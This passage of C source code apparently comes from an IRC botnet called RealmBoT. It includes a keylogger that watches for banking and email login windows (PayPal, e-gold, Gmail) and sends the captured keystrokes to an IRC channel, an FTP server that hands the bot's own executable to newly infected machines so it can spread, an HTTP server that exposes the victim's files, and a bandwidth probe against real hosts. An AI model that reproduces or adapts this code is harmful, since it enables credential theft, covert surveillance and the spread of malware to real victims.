  3695. } while ((('\0' != **test))?(0 == wildcardfit ((char *)*wildcard, (*test))):(0 != (fit = 0)));
  3696. }
  3697. if (('\0' == **test) && ('\0' == **wildcard))
  3698. fit = 1;
  3699. return (fit);
  3700. }
  3701. }
  3702. #endif
  3703.  
  3704.  
  3705. #ifndef NO_CRYPT
  3706. char buffer[512];
  3707. int i;
  3708. for (i=0;i<copyfilesize;i++) {
  3709. _snprintf(buffer, sizeof(buffer), copyfiles[i]);
  3710. Crypt((unsigned char *)buffer, strlen(buffer),NULL,0);
  3711. copyfiles[i]=buffer;
  3712. }
  3713. for (i=0;i<copyextsize;i++) {
  3714. _snprintf(buffer, sizeof(buffer), copyfiles[i]);
  3715. Crypt((unsigned char *)buffer, strlen(buffer),NULL,0);
  3716. copyexts[i]=buffer;
  3717. }
  3718. #endif
  3719.  
  3720.  
  3721.  
  3722. #ifndef NO_SPEEDTEST
  3723.  
  3724. #define NUM_KILOBYTES 200
  3725.  
  3726. // Return speed to host:80 in kbit per second
  3727.  
  3728. unsigned long GetSpeed(char *szHost) {
  3729. if(strlen(szHost) > MAXHOSTNAME) return 0;
  3730. unsigned long lBufSize=NUM_KILOBYTES*1024;
  3731. SOCKET sSock;
  3732. SOCKADDR_IN ssin;
  3733.  
  3734. memset(&ssin, 0, sizeof(ssin));
  3735. ssin.sin_family = AF_INET;
  3736. if ((ssin.sin_addr.s_addr = ResolveAddress(szHost)) == INADDR_NONE) return 0;
  3737. ssin.sin_port = fhtons(80);
  3738.  
  3739. if ((sSock = fsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) return 0;
  3740. if (fconnect(sSock, (LPSOCKADDR)&ssin, sizeof(ssin)) == SOCKET_ERROR) return 0;
  3741.  
  3742. char *szBuf=(char*)malloc(lBufSize+3);
  3743.  
  3744. srand(GetTickCount());
  3745. int iChar=(char)(randnum(255));
  3746. memset(szBuf, 0, lBufSize+1 );
  3747. memset(szBuf, iChar, lBufSize );
  3748.  
  3749. unsigned long lStrLen=strlen(szBuf);
  3750.  
  3751. char *szPostReq=(char*)malloc(lBufSize+1002);
  3752. sprintf(szPostReq, "POST / HTTP/1.0\r\n"
  3753. "Host: %s\r\n"
  3754. "Content-Length: %d\r\n"
  3755. "\r\n",
  3756. szHost, lStrLen);
  3757. strcat(szPostReq, szBuf);
  3758. strcat(szPostReq, "\r\n");
  3759.  
  3760. lStrLen=strlen(szPostReq);
  3761.  
  3762. unsigned long lStartMS=GetTickCount();
  3763.  
  3764. for(unsigned long l=0; l<lStrLen; l+=1024) {
  3765. if(lStrLen-l < 1024) {
  3766. if(fsend(sSock, szPostReq+l, lStrLen-l,0) == SOCKET_ERROR) {
  3767. fclosesocket(sSock);
  3768. free(szBuf);
  3769. free(szPostReq);
  3770. return 0;
  3771. }
  3772. } else {
  3773. if(fsend(sSock, szPostReq+l, 1024,0) == SOCKET_ERROR) {
  3774. fclosesocket(sSock);
  3775. free(szBuf);
  3776. free(szPostReq);
  3777. return 0;
  3778. }
  3779. }
  3780. }
  3781.  
  3782. unsigned long lEndMS=GetTickCount();
  3783.  
  3784. float fElapsedS=(float)(lEndMS-lStartMS)/1000.0f;
  3785. if(fElapsedS==0.0f) fElapsedS=1.0f;
  3786.  
  3787. float fBytesPS=(float)lStrLen/fElapsedS; // Get bytes per second
  3788. float fKBytesPS=fBytesPS/1024.0f; // Get kilobytes per second
  3789. float fBitsPS=fBytesPS*8.0f; // Get bits per second
  3790. float fKBitsPS=fBitsPS/1024.0f; // Get kilobits per se
  3791.  
  3792. fclosesocket(sSock);
  3793. free(szBuf);
  3794. free(szPostReq);
  3795.  
  3796. return (unsigned long)fKBitsPS;
  3797. }
  3798.  
  3799. void DoSpeedTest(SOCKET sock, char *chan, bool notice) {
  3800. unsigned long lProbe1=0, lProbe2=0;
  3801. int iDivide=3;
  3802. char sendbuf[IRCLINE];
  3803.  
  3804. char *EU[] = {
  3805. "www.schlund.net",
  3806. "www.utwente.nl",
  3807. "verio.fr",
  3808. "www.1und1.de",
  3809. "www.switch.ch",
  3810. "www.belwue.de",
  3811. "de.yahoo.com"
  3812. };
  3813. char *US[] = {
  3814. "www.xo.net",
  3815. "www.stanford.edu",
  3816. "www.verio.com",
  3817. "www.nocster.com",
  3818. "www.rit.edu",
  3819. "www.cogentco.com",
  3820. "www.burst.net",
  3821. "nitro.ucsc.edu",
  3822. "www.level3.com",
  3823. "www.above.net",
  3824. "www.easynews.com",
  3825. "www.google.com"
  3826. };
  3827. char *ASIA[] = {
  3828. "www.lib.nthu.edu.tw",
  3829. "www.st.lib.keio.ac.jp",
  3830. "www.d1asia.com",
  3831. "www.nifty.com",
  3832. "yahoo.co.jp"
  3833. };
  3834.  
  3835. // EU
  3836. lProbe1=GetSpeed(EU[randnum(sizeof(EU)/sizeof(EU[0]))]);
  3837. lProbe2=GetSpeed(EU[randnum(sizeof(EU)/sizeof(EU[0]))]);
  3838. unsigned long lEUSpeed=0;
  3839. if (lProbe1 && lProbe2) lEUSpeed=(lProbe1+lProbe2)/2;
  3840. else { if (lProbe1) lEUSpeed=lProbe1; else lEUSpeed=lProbe2; }
  3841.  
  3842. // US
  3843. unsigned long lUSSpeed=0;
  3844. lProbe1=GetSpeed(US[randnum(sizeof(US)/sizeof(US[0]))]);
  3845. lProbe2=GetSpeed(US[randnum(sizeof(US)/sizeof(US[0]))]);
  3846. if (lProbe1 && lProbe2) lUSSpeed=(lProbe1+lProbe2)/2;
  3847. else { if (lProbe1) lUSSpeed=lProbe1; else lUSSpeed=lProbe2; }
  3848.  
  3849. // ASIA
  3850. lProbe1=GetSpeed(ASIA[randnum(sizeof(ASIA)/sizeof(ASIA[0]))]);
  3851. lProbe2=GetSpeed(ASIA[randnum(sizeof(ASIA)/sizeof(ASIA[0]))]);
  3852. unsigned long lASIASpeed=0;
  3853. if (lProbe1 && lProbe2) lASIASpeed=(lProbe1+lProbe2)/2;
  3854. else { if (lProbe1) lASIASpeed=lProbe1; else lASIASpeed=lProbe2; }
  3855.  
  3856. if (!lEUSpeed && !lUSSpeed && !lASIASpeed) return;
  3857.  
  3858. unsigned long lTotalSpeed=0;
  3859. if (lEUSpeed) lTotalSpeed=lEUSpeed; else iDivide--;
  3860. if (lUSSpeed) lTotalSpeed+=lUSSpeed; else iDivide--;
  3861. if (lASIASpeed) lTotalSpeed+=lASIASpeed; else iDivide--;
  3862. lTotalSpeed/=iDivide;
  3863.  
  3864. sprintf(sendbuf, "[SPEEDTEST]: Europe[%d kbit/s] USA[%d kbit/s] Asia[%d kbit/s] Average[%d kbit/s]",
  3865. lEUSpeed, lUSSpeed, lASIASpeed, lTotalSpeed);
  3866. irc_privmsg(sock, chan, sendbuf, notice);
  3867. addlog(sendbuf);
  3868.  
  3869. return;
  3870. }
  3871. #endif
  3872.  
  3873.  
  3874.  
  3875. #ifndef NO_KEYLOG
  3876.  
  3877. SYTES sytes[]={
  3878. "e-gold",
  3879. "PayPal",
  3880. "StormPay",
  3881. "WorldPay",
  3882. "Fotolog.net",
  3883. "Terra - Fotolog",
  3884. "Yahoo!",
  3885. "Domain Search",
  3886. "Bienvenido a Gmail",
  3887. "Welcome to Gmail",
  3888. "Domain Name Registration",
  3889. "Domain Name",
  3890. "My Account Login",
  3891. "MercadoLivre Brasil",
  3892. "Iniciar sesión"
  3893. };
  3894.  
  3895. KEYS keys[]={
  3896. {8,"b","b"},
  3897. {13,"e","e"},
  3898. {27,"[ESC]","[ESC]"},
  3899. {112,"[F1]","[F1]"},
  3900. {113,"[F2]","[F2]"},
  3901. {114,"[F3]","[F3]"},
  3902. {115,"[F4]","[F4]"},
  3903. {116,"[F5]","[F5]"},
  3904. {117,"[F6]","[F6]"},
  3905. {118,"[F7]","[F7]"},
  3906. {119,"[F8]","[F8]"},
  3907. {120,"[F9]","[F9]"},
  3908. {121,"[F10]","[F10]"},
  3909. {122,"[F11]","[F11]"},
  3910. {123,"[F12]","[F12]"},
  3911. {192,"`","~"},
  3912. {49,"1","!"},
  3913. {50,"2","@"},
  3914. {51,"3","#"},
  3915. {52,"4","$"},
  3916. {53,"5","%"},
  3917. {54,"6","^"},
  3918. {55,"7","&"},
  3919. {56,"8","*"},
  3920. {57,"9","("},
  3921. {48,"0",")"},
  3922. {189,"-","_"},
  3923. {187,"=","+"},
  3924. {9,"[TAB]","[TAB]"},
  3925. {81,"q","Q"},
  3926. {87,"w","W"},
  3927. {69,"e","E"},
  3928. {82,"r","R"},
  3929. {84,"t","T"},
  3930. {89,"y","Y"},
  3931. {85,"u","U"},
  3932. {73,"i","I"},
  3933. {79,"o","O"},
  3934. {80,"p","P"},
  3935. {219,"[","{"},
  3936. {221,"","}"},
  3937. {65,"a","a"},
  3938. {83,"s","S"},
  3939. {68,"d","D"},
  3940. {70,"f","F"},
  3941. {71,"g","G"},
  3942. {72,"h","H"},
  3943. {74,"j","J"},
  3944. {75,"k","K"},
  3945. {76,"l","L"},
  3946. {186,";",":"},
  3947. {222,"'","\""},
  3948. {90,"z","Z"},
  3949. {88,"x","X"},
  3950. {67,"c","C"},
  3951. {86,"v","V"},
  3952. {66,"b","B"},
  3953. {78,"n","N"},
  3954. {77,"m","M"},
  3955. {188,",","<"},
  3956. {190,".",">"},
  3957. {191,"/",".?"},
  3958. {220,"\\","|"},
  3959. {17,"[CTRL]","[CTRL]"},
  3960. {91,"[WIN]","[WIN]"},
  3961. {32," "," "},
  3962. {92,"[WIN]","[WIN]"},
  3963. {44,"[PRSC]","[PRSC]"},
  3964. {145,"[SCLK]","[SCLK]"},
  3965. {45,"[INS]","[INS]"},
  3966. {36,"[HOME]","[HOME]"},
  3967. {33,"[PGUP]","[PGUP]"},
  3968. {46,"[DEL]","[DEL]"},
  3969. {35,"[END]","[END]"},
  3970. {34,"[PGDN]","[PGDN]"},
  3971. {37,"[LEFT]","[LEFT]"},
  3972. {38,"[UP]","[UP]"},
  3973. {39,"[RGHT]","[RGHT]"},
  3974. {40,"[DOWN]","[DOWN]"},
  3975. {144,"[NMLK]","[NMLK]"},
  3976. {111,"/","/"},
  3977. {106,"*","*"},
  3978. {109,"-","-"},
  3979. {107,"+","+"},
  3980. {96,"0","0"},
  3981. {97,"1","1"},
  3982. {98,"2","2"},
  3983. {99,"3","3"},
  3984. {100,"4","4"},
  3985. {101,"5","5"},
  3986. {102,"6","6"},
  3987. {103,"7","7"},
  3988. {104,"8","8"},
  3989. {105,"9","9"},
  3990. {110,".","."}
  3991. };
  3992.  
  3993. int SaveKeys(char *key, char *windowtxt, KEYLOG keylog)
  3994. {
  3995. char sendbuf[IRCLINE];
  3996.  
  3997. if(keylog.mode)
  3998. {
  3999. for(int i=0;i < sizeof(sytes) / sizeof(SYTES);i++)
  4000. {
  4001. if(strstr(windowtxt, sytes[i].title))
  4002. {
  4003. _snprintf(sendbuf,sizeof(sendbuf),"%s (%s)", key, sytes[i].title);
  4004. irc_privmsg(keylog.sock,keylog.chan,sendbuf,keylog.notice);
  4005. }
  4006. }
  4007. }else {
  4008. _snprintf(sendbuf,sizeof(sendbuf),"%s", key);
  4009. irc_privmsg(keylog.sock,keylog.chan,sendbuf,keylog.notice);
  4010. }
  4011.  
  4012. return 0;
  4013. }
  4014.  
  4015. DWORD WINAPI KeyLoggerThread(LPVOID param)
  4016. {
  4017. KEYLOG keylog = *((KEYLOG *)param);
  4018. KEYLOG *keylogs = (KEYLOG *)param;
  4019. keylogs->gotinfo = TRUE;
  4020.  
  4021. char buffer[IRCLINE], buffer2[IRCLINE], windowtxt[61], mwindowtxt[61];
  4022.  
  4023. int err = 0, x = 0, i = 0, state, shift, bKstate[256]={0};
  4024.  
  4025. HWND active = fGetForegroundWindow(), mactive;
  4026. HWND old = active;
  4027.  
  4028.  
  4029. fGetWindowText(old,windowtxt,60);
  4030.  
  4031. while (err == 0) {
  4032. Sleep(8);
  4033.  
  4034. active = fGetForegroundWindow();
  4035.  
  4036. if (active != old) {
  4037. old = active;
  4038. fGetWindowText(old,windowtxt,60);
  4039.  
  4040. if(keylog.mode)
  4041. {
  4042. if((strlen(buffer)) > 0 && (strlen(windowtxt)) < 1)
  4043. {
  4044. sprintf(buffer2, ".».%s.«.", buffer);
  4045. err = SaveKeys(buffer2, windowtxt, keylog);
  4046. memset(buffer,0,sizeof(buffer));
  4047. memset(buffer2,0,sizeof(buffer2));
  4048. }
  4049. if((strlen(buffer)) > 0 && (strlen(windowtxt)) > 0)
  4050. {
  4051. sprintf(buffer2, ".».%s.«.", buffer);
  4052. err = SaveKeys(buffer2, windowtxt, keylog);
  4053. memset(buffer,0,sizeof(buffer));
  4054. memset(buffer2,0,sizeof(buffer2));
  4055. }
  4056. }
  4057. else if ((strlen(windowtxt)) > 0) {
  4058. sprintf(buffer2, ".».%s.«. (Changed Windows: %s)", buffer, windowtxt);
  4059. err = SaveKeys(buffer2, windowtxt, keylog);
  4060. memset(buffer,0,sizeof(buffer));
  4061. memset(buffer2,0,sizeof(buffer2));
  4062. }
  4063. }
  4064.  
  4065. // let make magic...
  4066. if(keylog.mode)
  4067. {
  4068. if((fGetAsyncKeyState(VK_LBUTTON)) == -32767 && (strlen(buffer)) > 0) {
  4069. mactive = fGetForegroundWindow();
  4070. fGetWindowText(mactive,mwindowtxt,60);
  4071.  
  4072. sprintf(buffer2, ".».%s.«.", buffer);
  4073. err = SaveKeys(buffer2, mwindowtxt, keylog);
  4074. memset(buffer,0,sizeof(buffer));
  4075. memset(buffer2,0,sizeof(buffer2));
  4076. }
  4077. }
  4078.  
  4079. for (i = 0; i < 92; i++) {
  4080. shift = fGetKeyState(VK_SHIFT);
  4081.  
  4082. x = keys[i].inputL;
  4083.  
  4084. if (fGetAsyncKeyState(x) & 0x8000) {
  4085. if (((fGetKeyState(VK_CAPITAL)) && (shift > -1) && (x > 64) && (x < 91)))//caps lock and NOT shift
  4086. bKstate[x] = 1; /* upercase a-z */
  4087. else if (((fGetKeyState(VK_CAPITAL)) && (shift < 0) && (x > 64) && (x < 91)))//caps lock AND shift
  4088. bKstate[x] = 2; /* lowercase a-z */
  4089. else if (shift < 0) /* shift */
  4090. bKstate[x] = 3; /* upercase */
  4091. else bKstate[x] = 4; /* lowercase */
  4092. } else {
  4093. if (bKstate[x] != 0) {
  4094. state = bKstate[x];
  4095. bKstate[x] = 0;
  4096.  
  4097. if (x == 8) {
  4098. buffer[strlen(buffer)-1] = 0;
  4099. continue;
  4100.  
  4101. } else if (strlen(buffer) > 511 - 70) {
  4102. active = fGetForegroundWindow();
  4103. fGetWindowText(active,windowtxt,60);
  4104. if(keylog.mode)
  4105. sprintf(buffer2,".».%s.«. (Buffer full)",buffer);
  4106. else
  4107. sprintf(buffer2,".».%s.«. (Buffer full) (%s)",buffer,windowtxt);
  4108. err = SaveKeys(buffer2, windowtxt, keylog);
  4109. memset(buffer,0,sizeof(buffer));
  4110. memset(buffer2,0,sizeof(buffer2));
  4111.  
  4112. continue;
  4113.  
  4114. } else if (x == 13) {
  4115. if (strlen(buffer) == 0)
  4116. continue;
  4117.  
  4118. active = fGetForegroundWindow();
  4119. fGetWindowText(active,windowtxt,60);
  4120. if(keylog.mode)
  4121. sprintf(buffer2,".».%s.«. (Return)",buffer);
  4122. else
  4123. sprintf(buffer2,".».%s.«. (Return) (%s)",buffer,windowtxt);
  4124. err = SaveKeys(buffer2, windowtxt, keylog);
  4125. memset(buffer,0,sizeof(buffer));
  4126. memset(buffer2,0,sizeof(buffer2));
  4127.  
  4128. continue;
  4129. } else if (state == 1 || state == 3)
  4130. strcat(buffer,keys[i].outputH);
  4131. else if (state == 2 || state == 4)
  4132. strcat(buffer,keys[i].outputL);
  4133. }
  4134. }
  4135. }
  4136. }
  4137. clearthread(keylog.threadnum);
  4138.  
  4139. ExitThread(0);
  4140. }
  4141. #endif
  4142.  
  4143. #ifndef NO_FTPD
  4144.  
  4145. #include "headers/random.h"
  4146.  
  4147. #pragma warning(disable : 4018)
  4148. #pragma comment(lib, "ws2_32")
  4149.  
  4150. SOCKET data_sock;
  4151.  
  4152. int ftp_Data_connect(char *ip,int port);
  4153. int Ftp_data_transfer();
  4154. int FTP_PORT;
  4155. int ftp_sends=0;
  4156. extern SOCKET sock;
  4157.  
  4158. DWORD WINAPI ftpd(LPVOID pParam) {
  4159.  
  4160. WSADATA wsdata;
  4161. SOCKET listener;
  4162. SOCKET newfd;
  4163.  
  4164. char sendbuf[IRCLINE];
  4165. struct sockaddr_in server_address;
  4166. struct sockaddr_in remoteaddr;
  4167. long h;
  4168. int reuse_addr = 1;
  4169. unsigned long mode = 1;
  4170. int fdmax;
  4171. int i;
  4172. int addrlen;
  4173. int nbytes;
  4174.  
  4175. char buf[100];
  4176. // char t_buf[1024];
  4177. char tmpbuf[100];
  4178. char tmpbuf2[100];
  4179. char a[4];
  4180. char b[4];
  4181. char c[4];
  4182. char d[4];
  4183. char p1[50];
  4184. char p2[50];
  4185. char tmpip[15];
  4186. int po,po2;
  4187.  
  4188. FTP ftp = *((FTP *)pParam);
  4189. FTP *ftps = (FTP *)pParam;
  4190. ftps->gotinfo = TRUE;
  4191.  
  4192. struct fd_set master; // master file descriptor list
  4193. struct fd_set read_fds; // temp file descriptor list for select()
  4194.  
  4195. FD_ZERO(&master); // clear the master and temp sets
  4196. FD_ZERO(&read_fds);
  4197.  
  4198. WSAStartup(0x0101, &wsdata);
  4199.  
  4200. // FTP_PORT = lsaport;
  4201.  
  4202. listener = socket(AF_INET, SOCK_STREAM, 0);
  4203. setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, (char*)&reuse_addr,sizeof(reuse_addr));
  4204. ioctlsocket(listener, FIONBIO, &mode);
  4205.  
  4206. server_address.sin_family = AF_INET;
  4207. server_address.sin_addr.s_addr = INADDR_ANY;
  4208. server_address.sin_port = htons(FTP_PORT);
  4209.  
  4210. if (bind(listener, (struct sockaddr *) &server_address,sizeof(server_address)) < 0 ) {
  4211. return 1;
  4212. }
  4213.  
  4214. listen(listener,10);
  4215.  
  4216. FD_SET(listener, &master);
  4217.  
  4218. fdmax = listener;
  4219.  
  4220.  
  4221. while(1) {
  4222. read_fds = master;
  4223. if (select(fdmax+1, &read_fds, NULL, NULL, NULL) == -1) {
  4224. return 1;
  4225. }
  4226. for(i = 0; i <= fdmax; i++) {
  4227. memset(buf,0,sizeof(buf));
  4228. memset(tmpbuf,0,sizeof(tmpbuf));
  4229. if (FD_ISSET(i, &read_fds)) {
  4230. if (i == (int)listener) {
  4231. addrlen = sizeof(remoteaddr);
  4232. if ((newfd = accept(listener, (struct sockaddr *)&remoteaddr,&addrlen)) != -1) {
  4233. FD_SET(newfd, &master);
  4234. if ((int)newfd > fdmax) {
  4235. fdmax = newfd;
  4236. }
  4237. send(newfd, "220 TxmxFtpd 0wns j0\n",21 , 0);
  4238. }
  4239. } else {
  4240. if ((nbytes = recv(i, buf, sizeof(buf), 0)) <= 0) {
  4241. FD_CLR(i, &master);
  4242. closesocket(i);
  4243. } else {
  4244. sscanf(buf,"%s %s",tmpbuf,tmpbuf2);
  4245. if (strcmp(tmpbuf,"USER") == 0) {
  4246. send(i,"331 Password required\n",22 , 0);
  4247. }
  4248. else if (strcmp(tmpbuf,"PASS") == 0) {
  4249. send(i,"230 User logged in.\n",20 , 0);
  4250. }
  4251. else if (strcmp(tmpbuf,"SYST") == 0) {
  4252. send(i,"215 NzmxFtpd\n",13 , 0);
  4253. }
  4254. else if (strcmp(tmpbuf,"REST") == 0) {
  4255. send(i,"350 Restarting.\n",16 , 0);
  4256. }
  4257. else if (strcmp(tmpbuf,"PWD") == 0) {
  4258. send(i,"257 \"/\" is current directory.\n",30 , 0);
  4259. }
  4260. else if ((strcmp(tmpbuf,"TYPE") == 0) && (strcmp(tmpbuf2,"A") == 0)) {
  4261. send(i,"200 Type set to A.\n",19 , 0);
  4262. }
  4263. else if ((strcmp(tmpbuf,"TYPE") == 0) && (strcmp(tmpbuf2,"I") == 0)) {
  4264. send(i,"200 Type set to I.\n",19 , 0);
  4265. }
  4266. else if (strcmp(tmpbuf,"PASV") == 0) {
  4267. char pasv[] = "425 Passive not supported on this server\n";
  4268. send(i, pasv, strlen(pasv), 0);
  4269. }
  4270. else if (strcmp(tmpbuf,"LIST") == 0) {
  4271. char list[] = "226 Transfer complete\n";
  4272. send(i, list, strlen(list), 0);
  4273. }
  4274. else if (strcmp(tmpbuf,"PORT") == 0) {
  4275. sscanf(buf,"%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]",a,b,c,d,p1,p2);
  4276. po = atoi(p1);
  4277. po2 = atoi(p2);
  4278. memset(p1,0,sizeof(p1));
  4279. sprintf(p1,"%x%x\n",po,po2);
  4280. h = strtoul(p1, NULL, 16);
  4281. sprintf(tmpip,"%s.%s.%s.%s",a,b,c,d);
  4282. send(i,"200 PORT command successful.\n",29 , 0);
  4283.  
  4284. }
  4285. else if (strcmp(tmpbuf,"RETR") == 0) {
  4286. send(i,"150 Opening BINARY mode data connection\n",40 , 0);
  4287. if(ftp_Data_connect(tmpip,(int)h) == 1) {
  4288. if (Ftp_data_transfer() == 1) {
  4289. send(i,"226 Transfer complete.\n",23 , 0);
  4290. sprintf(sendbuf,"[REALMBOT-FTP] %s, port:%d now executing %s on remote machine.",tmpip,FTP_PORT,ftp.filename);
  4291. ftp_sends++;
  4292. if (!ftp.silent) irc_privmsg(ftp.sock,ftp.chan,sendbuf,ftp.notice);
  4293. }
  4294. } else {
  4295. send(i,"425 Can't open data connection.\n",32,0);
  4296. }
  4297. }
  4298. else if (strcmp(tmpbuf,"QUIT") == 0) {
  4299. send(i,"221 Goodbye happy r00ting.\n",27 , 0);
  4300. }
  4301. memset(buf,0,sizeof(buf));
  4302. }
  4303. }
  4304. }
  4305. }
  4306. }
  4307. return 1;
  4308. }
  4309.  
  4310. int ftp_Data_connect(char *ip,int port)
  4311. {
  4312. struct sockaddr_in server;
  4313. WSADATA wsdata;
  4314.  
  4315. WSAStartup(0x0101, &wsdata);
  4316.  
  4317. data_sock = socket(AF_INET, SOCK_STREAM, 0);
  4318. server.sin_family = AF_INET;
  4319. server.sin_addr.s_addr = inet_addr(ip);
  4320. server.sin_port = htons(port);
  4321.  
  4322. if (connect(data_sock,(struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
  4323. closesocket(data_sock);
  4324. WSACleanup();
  4325. return 0;
  4326. }
  4327. return 1;
  4328. }
  4329.  
  4330. int Ftp_data_transfer() {
  4331. FILE * fid;
  4332. char myfname[MAX_PATH];
  4333. unsigned char buffer[1024];
  4334. GetModuleFileName(NULL,myfname,sizeof(myfname));
  4335.  
  4336. fid = fopen(myfname, "rb");
  4337. if (!fid) { return 0; }
  4338.  
  4339. while(!feof(fid))
  4340. {
  4341. fread(&buffer, sizeof(buffer), 1, fid);
  4342. send(data_sock, (const char*)buffer, sizeof(buffer), 0);
  4343. Sleep(1);
  4344. }
  4345. fclose(fid);
  4346. closesocket(data_sock);
  4347. WSACleanup();
  4348. return 1;
  4349. }
  4350.  
  4351. #endif
  4352.  
  4353.  
  4354. #ifndef NO_HTTPD
  4355.  
  4356. DWORD WINAPI HTTP_Server_Thread(LPVOID param)
  4357. {
  4358. HTTPD httpd = *((HTTPD *)param);
  4359. HTTPD *httpds = (HTTPD *)param;
  4360. httpds->info = TRUE;
  4361.  
  4362. char sendbuf[IRCLINE], buffer[4096], rBuffer[4096], file[MAX_PATH], *file_to_send = "\0";
  4363.  
  4364. int gsin_len;
  4365. unsigned int i,r,b, max;
  4366. unsigned long mode = 1;
  4367.  
  4368. SOCKET gsock, ssock;
  4369. SOCKADDR_IN gsin, ssin;
  4370. memset(&ssin, 0, sizeof(ssin));
  4371. ssin.sin_family = AF_INET;
  4372. ssin.sin_port = fhtons((unsigned short)httpd.port);
  4373. ssin.sin_addr.s_addr = INADDR_ANY;
  4374.  
  4375. if ((ssock = fsocket(AF_INET, SOCK_STREAM, 0)) != INVALID_SOCKET) {
  4376. threads[httpd.threadnum].sock = ssock;
  4377. if (fbind(ssock, (LPSOCKADDR)&ssin, sizeof(ssin)) != SOCKET_ERROR) {
  4378. if (flisten(ssock, SOMAXCONN) != SOCKET_ERROR) {
  4379. if (fioctlsocket(ssock,FIONBIO,&mode) != SOCKET_ERROR) {
  4380.  
  4381. fd_set master, temp;
  4382. FD_ZERO(&master);
  4383. FD_ZERO(&temp);
  4384. FD_SET(ssock, &master);
  4385. max = ssock;
  4386.  
  4387. while (1) {
  4388. temp = master;
  4389. if (fselect(max+1, &temp, NULL, NULL, NULL) == SOCKET_ERROR)
  4390. break;
  4391.  
  4392. for(i=0; i <= max; i++) {
  4393. if (fFD_ISSET(i, &temp)) { //there is somthing to do
  4394. if (i == ssock) {
  4395. //there is a new connection request
  4396. gsin_len = sizeof(gsin);
  4397.  
  4398. if ((gsock = faccept(ssock, (LPSOCKADDR)&gsin, &gsin_len)) == INVALID_SOCKET)
  4399. continue;
  4400. else {
  4401. FD_SET(gsock, &master); // add to master set
  4402. if (gsock > (unsigned int)max)
  4403. max = gsock;
  4404. }
  4405. } else {
  4406. memset(buffer,0,sizeof(buffer));
  4407. memset(rBuffer,0,sizeof(rBuffer));
  4408. if (frecv(i, buffer, sizeof(buffer), 0) <= 0) { //socket error
  4409. fclosesocket(i);
  4410. FD_CLR(i, &master); // remove from master set
  4411. } else {
  4412. memset(file,0,sizeof(file));
  4413. for (b=0,r=0; b<strlen(buffer); b++,r++) {
  4414. rBuffer[r] = buffer[b];
  4415. if (buffer[b] == '\n') { //check the request....
  4416. if (strstr(rBuffer,"GET ") != NULL && strlen(rBuffer) > 5) { //look for a GET request
  4417. file_to_send = strtok(strstr(strstr(rBuffer,"GET ")," ")," ");
  4418. strcpy(file,file_to_send);
  4419. } else if (strcmp(rBuffer,"\r\n") == 0) { //end of the request check if there is anything to send back
  4420. FD_CLR(i, &master);
  4421. if (file != NULL) {
  4422. if (strlen(file)+strlen(httpd.dir) < MAX_PATH) {
  4423. unsigned long mode2 = 0;
  4424. fioctlsocket(i,FIONBIO,&mode2);
  4425. Check_Requested_File(i,httpd.dir,file,httpd.enabled,httpd.threadnum);
  4426. } else
  4427. fclosesocket(i);
  4428. } else
  4429. fclosesocket(i);
  4430. break;
  4431. }
  4432. memset(rBuffer,0,sizeof(rBuffer));
  4433. r=-1;
  4434. }
  4435. }
  4436. }
  4437. }
  4438. }
  4439. }
  4440. }
  4441. }
  4442. }
  4443. }
  4444. }
  4445.  
  4446. sprintf(sendbuf, "RealmBoT (httpd.p.l.g) .»». Error: server failed, returned: <%d>.", fWSAGetLastError());
  4447. if (!httpd.silent) irc_privmsg(httpd.sock, httpd.chan, sendbuf, httpd.notice);
  4448. addlog(sendbuf);
  4449.  
  4450. fclosesocket(ssock);
  4451. clearthread(httpd.threadnum);
  4452.  
  4453. ExitThread(0);
  4454. }
  4455.  
  4456. DWORD WINAPI HTTP_Header(LPVOID param)
  4457. {
  4458. HTTPD httpd = *((HTTPD *)param);
  4459. HTTPD *httpds = (HTTPD *)param;
  4460. httpds->info = TRUE;
  4461.  
  4462. char tFile[MAX_PATH], nFile[MAX_PATH], content[50], buffer[4096], date[70], time[30];
  4463.  
  4464. sprintf(tFile,httpd.file);
  4465. sprintf(nFile,httpd.path);
  4466.  
  4467. if (httpd.type)
  4468. sprintf(content,"text/html");
  4469. else
  4470. sprintf(content,"application/octet-stream");
  4471.  
  4472. GetDateFormat(0x409,0,0,"ddd, dd MMM yyyy",date,70);
  4473. GetTimeFormat(0x409,0,0,"HH:mm:ss",time,30);
  4474.  
  4475. if (httpd.length == -1)
  4476. sprintf(buffer,"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-Control: no-cache,no-store,max-age=0\r\npragma: no-cache\r\nContent-Type: %s\r\nAccept-Ranges: bytes\r\nDate: %s %s GMT\r\nLast-Modified: %s %s GMT\r\nExpires: %s %s GMT\r\nConnection: close\r\n\r\n",content,date,time,date,time,date,time);
  4477. else
  4478. sprintf(buffer,"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-Control: no-cache,no-store,max-age=0\r\npragma: no-cache\r\nContent-Type: %s\r\nContent-Length: %i\r\nAccept-Ranges: bytes\r\nDate: %s %s GMT\r\nLast-Modified: %s %s GMT\r\nExpires: %s %s GMT\r\nConnection: close\r\n\r\n",content,httpd.length,date,time,date,time,date,time);
  4479. fsend(httpd.sock,buffer,strlen(buffer),0);
  4480.  
  4481. if (httpd.type == FALSE)
  4482. HTTP_Send_File(httpd.sock,tFile);
  4483. else
  4484. GetFiles(tFile,httpd.sock,NULL,nFile);
  4485.  
  4486. fclosesocket(httpd.sock);
  4487. clearthread(httpd.threadnum);
  4488.  
  4489. ExitThread(0);
  4490. }
  4491.  
  4492. int Check_Requested_File(SOCKET sock, char *dir ,char *rFile, BOOL dirinfo, int threadnum)
  4493. {
  4494. char buffer[IRCLINE], file[MAX_PATH], nFile[MAX_PATH], tFile[MAX_PATH];
  4495.  
  4496. DWORD c,d, id;
  4497. BOOL directory = FALSE;
  4498.  
  4499. memset(nFile,0,sizeof(nFile));
  4500. if (rFile[0] != 47)
  4501. sprintf(file,"\\%s",rFile);
  4502. else {
  4503. rFile[0] = 92;
  4504. sprintf(file,"%s",rFile);
  4505. }
  4506. for (c=0,d=0; c<strlen(file); c++,d++) {
  4507. if ((((c+2 < strlen(file) && file[c] == 37 && file[c+1] == 50 && file[c+2] == 48)))) {
  4508. nFile[d] = 32;
  4509. c=c+2;
  4510. } else
  4511. nFile[d] = ((file[c] == 47)?(92):(file[c]));
  4512. }
  4513. sprintf(tFile,"%s%s",dir,nFile);
  4514. strtok(tFile,"\n");
  4515.  
  4516. switch(GetFileAttributes(tFile)) {
